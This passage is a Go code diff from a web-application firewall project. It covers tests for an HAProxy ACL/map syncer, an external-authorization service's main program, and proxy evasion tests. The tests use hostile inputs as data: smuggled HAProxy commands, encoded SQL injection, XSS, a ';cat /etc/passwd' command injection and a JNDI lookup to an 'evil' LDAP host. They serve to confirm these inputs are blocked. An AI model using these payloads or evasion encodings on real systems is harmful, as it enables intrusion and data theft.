+ "net"
7
+ "sort"
8
+ "strings"
9
+ "sync"
10
+ "testing"
11
+ "time"
12
+
13
+ "dibaguard"
14
+ )
15
+
16
+ // fakeHAProxy speaks the subset of the HAProxy Runtime API (stats socket) the syncer uses, the way HAProxy does:
17
+ // one command per line; non-interactive by default (answer, empty line, close); "prompt" switches to prompt mode
18
+ // (each answer followed by "\n> ", connection kept). ACLs/maps are lists of patterns where duplicates are allowed
19
+ // and "del" removes every entry with that key.
20
+ type fakeHAProxy struct {
21
+ ln net.Listener
22
+ mu sync.Mutex
23
+ files map[string][][2]string // name -> entries (key, value)
24
+ kind map[string]string // name -> acl | map
25
+ log []string // every command received
26
+ conns map[net.Conn]bool
27
+ seq int
28
+ }
29
+
30
+ func newFakeHAProxy(t *testing.T) *fakeHAProxy {
31
+ t.Helper()
32
+ ln, err := net.Listen("tcp", "127.0.0.1:0")
33
+ if err != nil {
34
+ t.Fatal(err)
35
+ }
36
+ f := &fakeHAProxy{ln: ln, files: map[string][][2]string{}, kind: map[string]string{}, conns: map[net.Conn]bool{}}
37
+ go func() {
38
+ for {
39
+ c, err := ln.Accept()
40
+ if err != nil {
41
+ return
42
+ }
43
+ f.mu.Lock()
44
+ f.conns[c] = true
45
+ f.mu.Unlock()
46
+ go f.serve(c)
47
+ }
48
+ }()
49
+ t.Cleanup(func() { ln.Close(); f.drop() })
50
+ return f
51
+ }
52
+
53
+ func (f *fakeHAProxy) define(kind, name string, entries ...[2]string) {
54
+ f.mu.Lock()
55
+ defer f.mu.Unlock()
56
+ f.kind[name], f.files[name] = kind, append([][2]string(nil), entries...)
57
+ }
58
+
59
+ // drop closes every client connection (stats timeout, reload)
60
+ func (f *fakeHAProxy) drop() {
61
+ f.mu.Lock()
62
+ defer f.mu.Unlock()
63
+ for c := range f.conns {
64
+ c.Close()
65
+ }
66
+ f.conns = map[net.Conn]bool{}
67
+ }
68
+
69
+ func (f *fakeHAProxy) keys(name string) []string {
70
+ f.mu.Lock()
71
+ defer f.mu.Unlock()
72
+ var out []string
73
+ for _, e := range f.files[name] {
74
+ if e[1] != "" {
75
+ out = append(out, e[0]+"="+e[1])
76
+ } else {
77
+ out = append(out, e[0])
78
+ }
79
+ }
80
+ sort.Strings(out)
81
+ return out
82
+ }
83
+
84
+ func (f *fakeHAProxy) commands() []string {
85
+ f.mu.Lock()
86
+ defer f.mu.Unlock()
87
+ out := append([]string(nil), f.log...)
88
+ f.log = nil
89
+ return out
90
+ }
91
+
92
+ func (f *fakeHAProxy) serve(c net.Conn) {
93
+ defer c.Close()
94
+ rd := bufio.NewReader(c)
95
+ prompt := false
96
+ for {
97
+ line, err := rd.ReadString('\n')
98
+ if err != nil {
99
+ return
100
+ }
101
+ line = strings.TrimRight(line, "\r\n")
102
+ out := f.exec(line, &prompt)
103
+ if prompt {
104
+ out += "\n> "
105
+ } else {
106
+ out += "\n"
107
+ }
108
+ if _, err := c.Write([]byte(out)); err != nil || !prompt {
109
+ return
110
+ }
111
+ }
112
+ }
113
+
114
+ func (f *fakeHAProxy) exec(line string, prompt *bool) string {
115
+ f.mu.Lock()
116
+ defer f.mu.Unlock()
117
+ f.log = append(f.log, line)
118
+ a := strings.Fields(line)
119
+ if len(a) == 1 && a[0] == "prompt" {
120
+ *prompt = !*prompt
121
+ return ""
122
+ }
123
+ if len(a) < 3 {
124
+ return "Unknown command.\n"
125
+ }
126
+ verb, kind, name := a[0], a[1], a[2]
127
+ if kind != "acl" && kind != "map" {
128
+ return "Unknown command.\n"
129
+ }
130
+ ents, ok := f.files[name]
131
+ if !ok || f.kind[name] != kind {
132
+ return fmt.Sprintf("Unknown %s identifier. Please use #<id> or <file>.\n", map[string]string{"acl": "ACL", "map": "map"}[kind])
133
+ }
134
+ switch {
135
+ case verb == "show" && len(a) == 3:
136
+ var b strings.Builder
137
+ for _, e := range ents {
138
+ f.seq++
139
+ if kind == "map" {
140
+ fmt.Fprintf(&b, "0x%012x %s %s\n", 0x55d0c0de0000+f.seq, e[0], e[1])
141
+ } else {
142
+ fmt.Fprintf(&b, "0x%012x %s\n", 0x55d0c0de0000+f.seq, e[0])
143
+ }
144
+ }
145
+ return b.String()
146
+ case verb == "add" && kind == "acl" && len(a) == 4:
147
+ f.files[name] = append(ents, [2]string{a[3], ""})
148
+ return ""
149
+ case verb == "add" && kind == "map" && len(a) == 5:
150
+ f.files[name] = append(ents, [2]string{a[3], a[4]})
151
+ return ""
152
+ case verb == "set" && kind == "map" && len(a) == 5:
153
+ found := false
154
+ for i := range ents {
155
+ if ents[i][0] == a[3] {
156
+ ents[i][1], found = a[4], true
157
+ }
158
+ }
159
+ if !found {
160
+ return "entry not found.\n"
161
+ }
162
+ return ""
163
+ case verb == "del" && len(a) == 4:
164
+ kept := ents[:0]
165
+ for _, e := range ents {
166
+ if e[0] != a[3] {
167
+ kept = append(kept, e)
168
+ }
169
+ }
170
+ if len(kept) == len(ents) {
171
+ return "Key not found.\n"
172
+ }
173
+ f.files[name] = kept
174
+ return ""
175
+ }
176
+ return "Unknown command.\n"
177
+ }
178
+
179
+ func newSync(addr, kind, file string, actions ...string) *haproxySync {
180
+ if len(actions) == 0 {
181
+ actions = []string{"block"}
182
+ }
183
+ return &haproxySync{addr: addr, kind: kind, file: file, actions: actions, timeout: 2 * time.Second, resyncEvery: time.Hour, maxEntries: 1000}
184
+ }
185
+
186
+ func snapshot(block, challenge, rateLimit map[string]float64) dibaguard.StateSnapshot {
187
+ return dibaguard.StateSnapshot{Block: block, Challenge: challenge, RateLimit: rateLimit}
188
+ }
189
+
190
+ // eqList compares as sets (sorted), eqSeq in order
191
+ func eqList(t *testing.T, what string, got []string, want ...string) {
192
+ t.Helper()
193
+ got, want = append([]string(nil), got...), append([]string(nil), want...)
194
+ sort.Strings(got)
195
+ sort.Strings(want)
196
+ eqSeq(t, what, got, want...)
197
+ }
198
+
199
+ func eqSeq(t *testing.T, what string, got []string, want ...string) {
200
+ t.Helper()
201
+ if strings.Join(got, "|") != strings.Join(want, "|") {
202
+ t.Errorf("%s:\n got %q\n want %q", what, got, want)
203
+ }
204
+ }
205
+
206
+ func TestHAProxyACLSync(t *testing.T) {
207
+ hp := newFakeHAProxy(t)
208
+ const acl = "/etc/haproxy/dibaguard-block.acl"
209
+ hp.define("acl", acl, [2]string{"192.0.2.66", ""}) // left over from before (file on disk): not in the desired set
210
+ h := newSync(hp.ln.Addr().String(), "acl", acl)
211
+ defer h.Close()
212
+ now := float64(time.Now().Unix())
213
+ later, past := now+3600, now-1
214
+
215
+ // first sync: read what HAProxy holds, push the difference
216
+ d := h.desired(snapshot(map[string]float64{"1.1.1.1": later, "2.2.2.2": later, "3.3.3.3": past}, map[string]float64{"4.4.4.4": later}, nil), now)
217
+ if err := h.Sync(d); err != nil {
218
+ t.Fatal(err)
219
+ }
220
+ eqList(t, "after first sync", hp.keys(acl), "1.1.1.1", "2.2.2.2")
221
+ eqSeq(t, "first sync commands", hp.commands(), "prompt", "show acl "+acl, "add acl "+acl+" 1.1.1.1", "add acl "+acl+" 2.2.2.2", "del acl "+acl+" 192.0.2.66")
222
+
223
+ // steady state: nothing changed, nothing sent
224
+ if err := h.Sync(d); err != nil {
225
+ t.Fatal(err)
226
+ }
227
+ eqSeq(t, "no-op sync commands", hp.commands())
228
+
229
+ // diff only: 1.1.1.1 lifted, 5.5.5.5 added (IPv6 and CIDR keys normalized)
230
+ d = h.desired(snapshot(map[string]float64{"2.2.2.2": later, "5.5.5.5": later, "2001:DB8::0001": later, "10.9.0.0/16": later, "::ffff:6.6.6.6": later}, nil, nil), now)
231
+ if err := h.Sync(d); err != nil {
232
+ t.Fatal(err)
233
+ }
234
+ eqSeq(t, "diff commands", hp.commands(), "add acl "+acl+" 10.9.0.0/16", "add acl "+acl+" 2001:db8::1", "add acl "+acl+" 5.5.5.5", "add acl "+acl+" 6.6.6.6", "del acl "+acl+" 1.1.1.1")
235
+ eqList(t, "after diff", hp.keys(acl), "10.9.0.0/16", "2001:db8::1", "2.2.2.2", "5.5.5.5", "6.6.6.6")
236
+
237
+ // HAProxy reloads: connections drop and the ACL is back to the file on disk; the next sync reconnects,
238
+ // re-reads and repairs
239
+ hp.drop()
240
+ hp.define("acl", acl, [2]string{"192.0.2.66", ""}, [2]string{"2.2.2.2", ""})
241
+ if err := h.Sync(d); err != nil {
242
+ t.Fatal(err)
243
+ }
244
+ eqList(t, "after reload resync", hp.keys(acl), "10.9.0.0/16", "2001:db8::1", "2.2.2.2", "5.5.5.5", "6.6.6.6")
245
+ cmds := hp.commands()
246
+ if len(cmds) < 2 || cmds[0] != "prompt" || cmds[1] != "show acl "+acl {
247
+ t.Errorf("reconnect did not resync first: %q", cmds)
248
+ }
249
+ for _, c := range cmds {
250
+ if c == "add acl "+acl+" 2.2.2.2" {
251
+ t.Error("resync re-added an entry HAProxy already held (duplicate)")
252
+ }
253
+ }
254
+ if st := h.Stats(); st.Resyncs != 2 || st.Entries != 5 {
255
+ t.Errorf("stats: %+v", st)
256
+ }
257
+
258
+ // deadlines expire in the syncer even when the sidecar is silent
259
+ d = h.desired(snapshot(map[string]float64{"2.2.2.2": now + 1, "5.5.5.5": later}, nil, nil), now+2)
260
+ if err := h.Sync(d); err != nil {
261
+ t.Fatal(err)
262
+ }
263
+ eqList(t, "after expiry", hp.keys(acl), "5.5.5.5")
264
+ }
265
+
266
+ func TestHAProxyRejectsInjection(t *testing.T) {
267
+ hp := newFakeHAProxy(t)
268
+ hp.define("acl", "blk")
269
+ h := newSync(hp.ln.Addr().String(), "acl", "blk")
270
+ defer h.Close()
271
+ later := float64(time.Now().Unix() + 3600)
272
+ evil := map[string]float64{"1.2.3.4\nshutdown sessions server app/s1": later, "1.2.3.4; clear acl blk": later, "1.2.3.4 9.9.9.9": later,
273
+ "bad host": later, "300.1.1.1": later, "": later, "8.8.8.8": later}
274
+ if err := h.Sync(h.desired(snapshot(evil, nil, nil), float64(time.Now().Unix()))); err != nil {
275
+ t.Fatal(err)
276
+ }
277
+ eqList(t, "only the valid address is pushed", hp.keys("blk"), "8.8.8.8")
278
+ for _, c := range hp.commands() {
279
+ if strings.Contains(c, "shutdown") || strings.Contains(c, "clear") || strings.Count(c, " ") > 3 {
280
+ t.Errorf("injected command reached HAProxy: %q", c)
281
+ }
282
+ }
283
+ if st := h.Stats(); st.Skipped != 6 {
284
+ t.Errorf("skipped %d want 6", st.Skipped)
285
+ }
286
+ if validName("a b") || validName("x;y") || !validName("/etc/haproxy/blk.acl") || !validName("#3") {
287
+ t.Error("validName")
288
+ }
289
+ }
290
+
291
+ func TestHAProxyMapSync(t *testing.T) {
292
+ hp := newFakeHAProxy(t)
293
+ hp.define("map", "/etc/haproxy/dibaguard.map")
294
+ h := newSync(hp.ln.Addr().String(), "map", "/etc/haproxy/dibaguard.map", "block", "challenge", "rate_limit")
295
+ defer h.Close()
296
+ now := float64(time.Now().Unix())
297
+ later := now + 3600
298
+ // block outranks challenge outranks rate_limit for a source in several sets
299
+ d := h.desired(snapshot(map[string]float64{"1.1.1.1": later}, map[string]float64{"1.1.1.1": later, "2.2.2.2": later}, map[string]float64{"3.3.3.3": later}), now)
300
+ if err := h.Sync(d); err != nil {
301
+ t.Fatal(err)
302
+ }
303
+ eqList(t, "map", hp.keys("/etc/haproxy/dibaguard.map"), "1.1.1.1=block", "2.2.2.2=challenge", "3.3.3.3=rate_limit")
304
+ hp.commands()
305
+ // 2.2.2.2 escalates to block: one set map, nothing else
306
+ d = h.desired(snapshot(map[string]float64{"1.1.1.1": later, "2.2.2.2": later}, nil, map[string]float64{"3.3.3.3": later}), now)
307
+ if err := h.Sync(d); err != nil {
308
+ t.Fatal(err)
309
+ }
310
+ eqSeq(t, "escalation commands", hp.commands(), "set map /etc/haproxy/dibaguard.map 2.2.2.2 block")
311
+ eqList(t, "map after escalation", hp.keys("/etc/haproxy/dibaguard.map"), "1.1.1.1=block", "2.2.2.2=block", "3.3.3.3=rate_limit")
312
+ }
313
+
314
+ func TestHAProxyErrors(t *testing.T) {
315
+ hp := newFakeHAProxy(t)
316
+ hp.define("acl", "known")
317
+ // the ACL is not loaded by the config: a clear error, not a silent no-op
318
+ h := newSync(hp.ln.Addr().String(), "acl", "unknown.acl")
319
+ if err := h.Sync(map[string]string{"1.1.1.1": "block"}); err == nil || !strings.Contains(err.Error(), "Unknown ACL identifier") {
320
+ t.Errorf("unknown ACL: %v", err)
321
+ }
322
+ // HAProxy down: an error, and the next sync after it is back recovers
323
+ ln, _ := net.Listen("tcp", "127.0.0.1:0")
324
+ addr := ln.Addr().String()
325
+ ln.Close()
326
+ h = newSync(addr, "acl", "known")
327
+ h.timeout = 200 * time.Millisecond
328
+ if err := h.Sync(map[string]string{"1.1.1.1": "block"}); err == nil {
329
+ t.Error("sync to a closed port succeeded")
330
+ }
331
+ if st := h.Stats(); st.Errors != 1 || st.LastError == "" {
332
+ t.Errorf("stats after failure: %+v", st)
333
+ }
334
+ h.addr = hp.ln.Addr().String()
335
+ if err := h.Sync(map[string]string{"1.1.1.1": "block"}); err != nil {
336
+ t.Fatal(err)
337
+ }
338
+ eqList(t, "recovered", hp.keys("known"), "1.1.1.1")
339
+ h.Close()
340
+ }
341
+
342
+ func TestHAProxyLoopWithFastState(t *testing.T) {
343
+ hp := newFakeHAProxy(t)
344
+ hp.define("acl", "blk")
345
+ st := &dibaguard.FastState{}
346
+ st.Set(snapshot(map[string]float64{"7.7.7.7": float64(time.Now().Add(time.Hour).Unix())}, nil, nil), time.Now())
347
+ h := newSync(hp.ln.Addr().String(), "acl", "blk")
348
+ stop := make(chan struct{})
349
+ done := make(chan struct{})
350
+ go func() { h.loop(st, 10*time.Millisecond, stop); close(done) }()
351
+ waitFor(t, func() bool { return strings.Join(hp.keys("blk"), " ") == "7.7.7.7" })
352
+ st.Set(snapshot(map[string]float64{"8.8.8.8": float64(time.Now().Add(time.Hour).Unix())}, nil, nil), time.Now())
353
+ waitFor(t, func() bool { return strings.Join(hp.keys("blk"), " ") == "8.8.8.8" })
354
+ close(stop)
355
+ <-done
356
+ }
357
+
358
+ func waitFor(t *testing.T, cond func() bool) {
359
+ t.Helper()
360
+ deadline := time.Now().Add(3 * time.Second)
361
+ for !cond() {
362
+ if time.Now().After(deadline) {
363
+ t.Fatal("condition not reached")
364
+ }
365
+ time.Sleep(5 * time.Millisecond)
366
+ }
367
+ }
368
+
369
+ func TestSocketAddr(t *testing.T) {
370
+ for in, want := range map[string]string{"127.0.0.1:9999": "tcp 127.0.0.1:9999", "ipv4@127.0.0.1:9999": "tcp 127.0.0.1:9999",
371
+ "tcp:[::1]:9999": "tcp [::1]:9999", "unix:/run/haproxy/admin.sock": "unix /run/haproxy/admin.sock", "/run/haproxy/admin.sock": "unix /run/haproxy/admin.sock",
372
+ "unix@/x.sock": "unix /x.sock"} {
373
+ n, a := socketAddr(in)
374
+ if n+" "+a != want {
375
+ t.Errorf("%s: %s %s", in, n, a)
376
+ }
377
+ }
378
+ }
379
+
380
+ // an IPv6 block goes to HAProxy as its /64 (one entry per network, however many addresses were blocked)
381
+ func TestHAProxyIPv6Aggregation(t *testing.T) {
382
+ hp := newFakeHAProxy(t)
383
+ hp.define("acl", "blk")
384
+ h := newSync(hp.ln.Addr().String(), "acl", "blk")
385
+ h.agg = dibaguard.Aggregation{BlockBits: 64}
386
+ defer h.Close()
387
+ later := float64(time.Now().Unix() + 3600)
388
+ d := h.desired(snapshot(map[string]float64{"2001:db8:1:2::5": later, "2001:db8:1:2:ffff::9": later, "2001:db8:9::1": later, "1.2.3.4": later}, nil, nil), float64(time.Now().Unix()))
389
+ if err := h.Sync(d); err != nil {
390
+ t.Fatal(err)
391
+ }
392
+ eqList(t, "aggregated ACL", hp.keys("blk"), "1.2.3.4", "2001:db8:1:2::/64", "2001:db8:9::/64")
393
+ }
runtime/go/cmd/dibaguard-authz/main.go ADDED
@@ -0,0 +1,185 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // dibaguard-authz: DibaGuard as an external-authorization service. Load balancers that already sit in front of a
2
+ // site (nginx auth_request, ingress-nginx auth-url, Envoy ext_authz, Traefik ForwardAuth, Caddy forward_auth,
3
+ // HAProxy lua auth-request) ask it for a verdict on each request instead of routing traffic through
4
+ // dibaguard-proxy. The verdict is the proxy's own decision (dibaguard.Decider: sidecar block / challenge /
5
+ // rate-limit state, payload signatures, the site-conditioned HTTP model), in the contract each load balancer
6
+ // understands (see authz.go and guard/docs/INTEGRATIONS.md).
7
+ //
8
+ // With -haproxy-socket it also mirrors the sidecar's block set into an HAProxy ACL/map through the Runtime API,
9
+ // so HAProxy drops blocked sources itself with no per-request round trip (-listen "" runs only that syncer).
10
+ //
11
+ // dibaguard-authz -listen 127.0.0.1:9300 -models ./models -sidecar http://127.0.0.1:8787 -mode enforce \
12
+ // -trusted 127.0.0.1/32 -challenge-secret <shared random> \
13
+ // [-haproxy-socket 127.0.0.1:9999 -haproxy-file /etc/haproxy/dibaguard-block.acl]
14
+ package main
15
+
16
+ import (
17
+ "errors"
18
+ "flag"
19
+ "fmt"
20
+ "log"
21
+ "net"
22
+ "net/http"
23
+ "os"
24
+ "path/filepath"
25
+ "runtime"
26
+ "strings"
27
+ "time"
28
+
29
+ "dibaguard"
30
+ )
31
+
32
+ func main() {
33
+ listen := flag.String("listen", "127.0.0.1:9300", `address to serve ("unix:/path.sock" for a unix socket, "" = HAProxy syncer only)`)
34
+ models := flag.String("models", "models", "model directory (http_v2/http_tier1_v2.bin)")
35
+ modelPath := flag.String("model", "", "HTTP model file (overrides -models)")
36
+ sidecar := flag.String("sidecar", "http://127.0.0.1:8787", `python sidecar (dibaguard.llm http); "" = none`)
37
+ mode := flag.String("mode", "report", "report (never deny, only report the verdict) | enforce")
38
+ inline := flag.Bool("inline-block", true, "refuse on content: hard signatures, very high scores (enforce mode)")
39
+ secret := flag.String("challenge-secret", "", "HMAC secret for the JS challenge cookie (random if empty; share it across replicas)")
40
+ rate := flag.Float64("rate", 5, "requests per second allowed to a rate-limited client")
41
+ trusted := flag.String("trusted", dibaguard.DefaultTrusted, "CIDRs of the load balancers whose forwarding headers are believed")
42
+ ipHeaders := flag.String("ip-headers", dibaguard.DefaultIPHeaders, "client-address headers read from trusted peers, first present wins "+
43
+ "(X-Forwarded-For, Forwarded, X-Real-IP); list only headers your load balancer overwrites")
44
+ proxyProto := flag.Bool("proxy-protocol", false, "connections start with a PROXY v1/v2 header from a -trusted peer; others are refused")
45
+ v6Block := flag.Int("ipv6-block-prefix", 64, "a sidecar block on an IPv6 address covers its /N, here and in HAProxy (128 = the address only)")
46
+ v6Rate := flag.Int("ipv6-ratelimit-prefix", 128, "rate-limit entries and token buckets per IPv6 /N (64 = per /64)")
47
+ envoyPrefix := flag.String("envoy-prefix", "/envoy", `Envoy ext_authz path_prefix ("" = off)`)
48
+ budget := flag.Duration("budget", 25*time.Millisecond, "per-request decision budget (body read + decision); over it the fail mode applies")
49
+ failClosed := flag.Bool("fail-closed", false, "deny when the decision cannot be made (model/sidecar unavailable, budget exceeded); default fail-open")
50
+ stateStale := flag.Duration("state-stale", 10*time.Second, "sidecar state older than this counts as unavailable")
51
+ maxInflight := flag.Int("max-inflight", 0, "concurrent decisions (0 = 64 x GOMAXPROCS); a request that cannot start within the budget is a fail-mode overload")
52
+ maxBody := flag.Int64("max-body", 1<<20, "body bytes inspected when the load balancer sends the body (Envoy with_request_body)")
53
+ every := flag.Duration("poll", 2*time.Second, "sidecar state poll interval")
54
+ feedToken := flag.String("feed-token", os.Getenv("DIBAGUARD_FEED_TOKEN"), "credential of the sidecar's feeds (X-DibaGuard-Feed-Token on every push; $DIBAGUARD_FEED_TOKEN by default, the sidecar's own setting)")
55
+ hapSocket := flag.String("haproxy-socket", "", `HAProxy Runtime API socket ("127.0.0.1:9999", "unix:/run/haproxy/admin.sock"); "" = no sync`)
56
+ hapKind := flag.String("haproxy-kind", "acl", "acl | map")
57
+ hapFile := flag.String("haproxy-file", "/etc/haproxy/dibaguard-block.acl", "ACL/map file as haproxy.cfg loads it (owned by the syncer)")
58
+ hapActions := flag.String("haproxy-actions", "block", "standing decisions mirrored into HAProxy (block,challenge,rate_limit)")
59
+ hapEvery := flag.Duration("haproxy-every", 2*time.Second, "HAProxy sync interval")
60
+ hapResync := flag.Duration("haproxy-resync", time.Minute, "full resync (re-read HAProxy's entries) interval")
61
+ hapMax := flag.Int("haproxy-max", 100000, "cap on entries pushed to HAProxy")
62
+ flag.Parse()
63
+ dibaguard.FeedToken = *feedToken
64
+
65
+ if *mode != "report" && *mode != "enforce" {
66
+ log.Fatalf("-mode must be report or enforce, not %q", *mode)
67
+ }
68
+ tp, err := dibaguard.ParseTrustedProxies(*trusted)
69
+ if err != nil {
70
+ log.Fatal(err)
71
+ }
72
+ if *v6Block < 0 || *v6Block > 128 || *v6Rate < 0 || *v6Rate > 128 {
73
+ log.Fatal("-ipv6-block-prefix / -ipv6-ratelimit-prefix must be 0..128")
74
+ }
75
+ agg := dibaguard.Aggregation{BlockBits: *v6Block, RateBits: *v6Rate}
76
+ if *modelPath == "" {
77
+ *modelPath = filepath.Join(*models, "http_v2", "http_tier1_v2.bin")
78
+ }
79
+ m, err := dibaguard.LoadHTTP2(*modelPath)
80
+ if err != nil {
81
+ log.Printf("WARNING model unavailable (%v): signatures and sidecar state only, %s", err, map[bool]string{false: "fail-open", true: "fail-closed: every request is denied"}[*failClosed])
82
+ m = nil
83
+ }
84
+ thr := 5.0
85
+ if m != nil {
86
+ if t, ok := m.Info["thresholds"].(map[string]any); ok {
87
+ if v, ok := t["0.001"].(float64); ok {
88
+ thr = v
89
+ }
90
+ }
91
+ }
92
+ sec := []byte(*secret)
93
+ if len(sec) == 0 {
94
+ sec = []byte(fmt.Sprintf("%d-%d", time.Now().UnixNano(), os.Getpid()))
95
+ }
96
+ cfg := config{mode: *mode, failClosed: *failClosed, budget: *budget, trusted: tp, ipHeaders: dibaguard.SplitHeaderList(*ipHeaders),
97
+ envoyPrefix: strings.TrimRight(*envoyPrefix, "/"), maxBody: *maxBody, stateStale: *stateStale, secret: sec}
98
+
99
+ var state *dibaguard.FastState
100
+ dec := &dibaguard.Decider{Model: m, Threshold: thr, Inline: *inline, Limiter: dibaguard.NewLimiter(*rate, 2**rate), Secret: sec, Agg: agg}
101
+ if *sidecar != "" {
102
+ state = &dibaguard.FastState{Agg: agg}
103
+ dec.State = state
104
+ cl := &http.Client{Timeout: 2 * time.Second}
105
+ poll := func() {
106
+ if st, err := dibaguard.FetchFastState(cl, *sidecar); err == nil {
107
+ state.Set(st, time.Now())
108
+ }
109
+ }
110
+ poll() // start with a fresh state when the sidecar is up
111
+ go func() {
112
+ for {
113
+ time.Sleep(*every)
114
+ poll()
115
+ }
116
+ }()
117
+ }
118
+ if *maxInflight <= 0 {
119
+ *maxInflight = 64 * runtime.GOMAXPROCS(0)
120
+ }
121
+ s := newServer(cfg, dec, m != nil, state, *maxInflight)
122
+ s.thr = thr
123
+ if *sidecar != "" {
124
+ s.queue = make(chan dibaguard.Summary, 10000)
125
+ go dibaguard.PushSummaries(*sidecar, s.queue, 256, 2*time.Second)
126
+ }
127
+
128
+ if *hapSocket != "" {
129
+ if state == nil {
130
+ log.Fatal("-haproxy-socket needs -sidecar (the block set comes from the sidecar)")
131
+ }
132
+ if *hapKind != "acl" && *hapKind != "map" {
133
+ log.Fatalf("-haproxy-kind must be acl or map, not %q", *hapKind)
134
+ }
135
+ if !validName(*hapFile) {
136
+ log.Fatalf("-haproxy-file %q: no spaces or ';' allowed", *hapFile)
137
+ }
138
+ var acts []string
139
+ for _, a := range strings.Split(*hapActions, ",") {
140
+ if a = strings.TrimSpace(a); a != "" {
141
+ if a != dibaguard.ActionBlock && a != dibaguard.ActionChallenge && a != dibaguard.ActionRateLimit {
142
+ log.Fatalf("-haproxy-actions: unknown action %q", a)
143
+ }
144
+ acts = append(acts, a)
145
+ }
146
+ }
147
+ s.haproxy = &haproxySync{addr: *hapSocket, kind: *hapKind, file: *hapFile, actions: acts, timeout: 2 * time.Second,
148
+ resyncEvery: *hapResync, maxEntries: *hapMax, agg: agg, logf: log.Printf}
149
+ go s.haproxy.loop(state, *hapEvery, nil)
150
+ log.Printf("haproxy sync: %s %s via %s (%s)", *hapKind, *hapFile, *hapSocket, strings.Join(acts, ","))
151
+ }
152
+
153
+ if *listen == "" {
154
+ if s.haproxy == nil {
155
+ log.Fatal(`-listen "" only makes sense with -haproxy-socket`)
156
+ }
157
+ select {}
158
+ }
159
+ var ln net.Listener
160
+ if path, ok := strings.CutPrefix(*listen, "unix:"); ok {
161
+ if fi, err := os.Lstat(path); err == nil { // a stale socket from a previous run is replaced, nothing else
162
+ if fi.Mode()&os.ModeSocket == 0 {
163
+ log.Fatalf("-listen %s: exists and is not a socket", *listen)
164
+ }
165
+ os.Remove(path)
166
+ }
167
+ ln, err = net.Listen("unix", path)
168
+ } else {
169
+ ln, err = net.Listen("tcp", *listen)
170
+ }
171
+ if err != nil {
172
+ log.Fatal(err)
173
+ }
174
+ if *proxyProto {
175
+ ln = &dibaguard.ProxyProtoListener{Listener: ln, Trusted: tp}
176
+ }
177
+ // header limit stays at Go's 1 MB default: anything the load balancer can forward must get a verdict, not a 431
178
+ // (an LB configured to fail open on errors would let an oversized request through unchecked)
179
+ srv := &http.Server{Handler: s, ReadHeaderTimeout: 5 * time.Second, IdleTimeout: 2 * time.Minute}
180
+ log.Printf("dibaguard-authz on %s (mode %s, %s, budget %v, threshold %.2f, model %v, sidecar %q, trusted %s, ip headers %s, proxy-protocol %v, ipv6 block /%d rate /%d)",
181
+ *listen, *mode, map[bool]string{false: "fail-open", true: "fail-closed"}[*failClosed], *budget, thr, m != nil, *sidecar, *trusted, *ipHeaders, *proxyProto, *v6Block, *v6Rate)
182
+ if err := srv.Serve(ln); err != nil && !errors.Is(err, http.ErrServerClosed) {
183
+ log.Fatal(err)
184
+ }
185
+ }
runtime/go/cmd/dibaguard-proxy/identity_test.go ADDED
@@ -0,0 +1,122 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ package main
2
+
3
+ import (
4
+ "net/http"
5
+ "net/http/httptest"
6
+ "strings"
7
+ "testing"
8
+ "time"
9
+
10
+ "dibaguard"
11
+ )
12
+
13
+ // payloads behind a malformed escape or a ';' used to reach the upstream unscored (Go's url.ParseQuery dropped
14
+ // the pair, url.PathUnescape gave up on the whole value)
15
+ func TestProxyMalformedEscapeEvasion(t *testing.T) {
16
+ up := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Write([]byte("ok")) }))
17
+ defer up.Close()
18
+ p := newTestProxy(t, up)
19
+ cases := []struct {
20
+ name, method, target, body string
21
+ hdr map[string]string
22
+ want int
23
+ }{
24
+ {"bad escape + SQLi", "GET", "/items?id=%zz1%27%20or%201%3D1--%20-", "", nil, 403},
25
+ {"';' command injection", "GET", "/ping?host=127.0.0.1;cat%20/etc/passwd", "", nil, 403},
26
+ {"%u-encoded SQLi", "GET", "/items?id=1%u0027%u0020or%u00201=1--%u0020-", "", nil, 403},
27
+ {"double encoding + bad escape", "GET", "/items?id=%zz1%2527%2520union%2520select%2520password%2520from%2520users", "", nil, 403},
28
+ {"mixed valid/invalid escapes", "GET", "/q?s=%3Cscript%3Ealert(1)%3C/script%3E%2", "", nil, 403},
29
+ {"bad escape in a header", "GET", "/", "", map[string]string{"X-Api-Version": "%zz%24%7Bjndi:ldap://evil/a%7D"}, 403},
30
+ {"bad escape in the body", "POST", "/login", "user=admin%27+or+1%3D1--+-&x=%zz", map[string]string{"Content-Type": "application/x-www-form-urlencoded"}, 403},
31
+ {"benign 100%", "GET", "/search?q=100%", "", nil, 200},
32
+ {"benign 50% off", "GET", "/search?q=50%+off&discount=50%25", "", nil, 200},
33
+ {"benign stray % and ';'", "GET", "/search?q=hello%world&sort=price;desc", "", nil, 200},
34
+ {"benign body with stray %", "POST", "/save", "note=100%+done", map[string]string{"Content-Type": "application/x-www-form-urlencoded"}, 200},
35
+ }
36
+ for _, c := range cases {
37
+ req := httptest.NewRequest(c.method, c.target, strings.NewReader(c.body))
38
+ req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0) Chrome/121")
39
+ for k, v := range c.hdr {
40
+ req.Header.Set(k, v)
41
+ }
42
+ w := httptest.NewRecorder()
43
+ p.ServeHTTP(w, req)
44
+ if w.Code != c.want {
45
+ t.Errorf("%s: got %d want %d", c.name, w.Code, c.want)
46
+ }
47
+ }
48
+ }
49
+
50
+ func lastClient(t *testing.T, p *proxy) string {
51
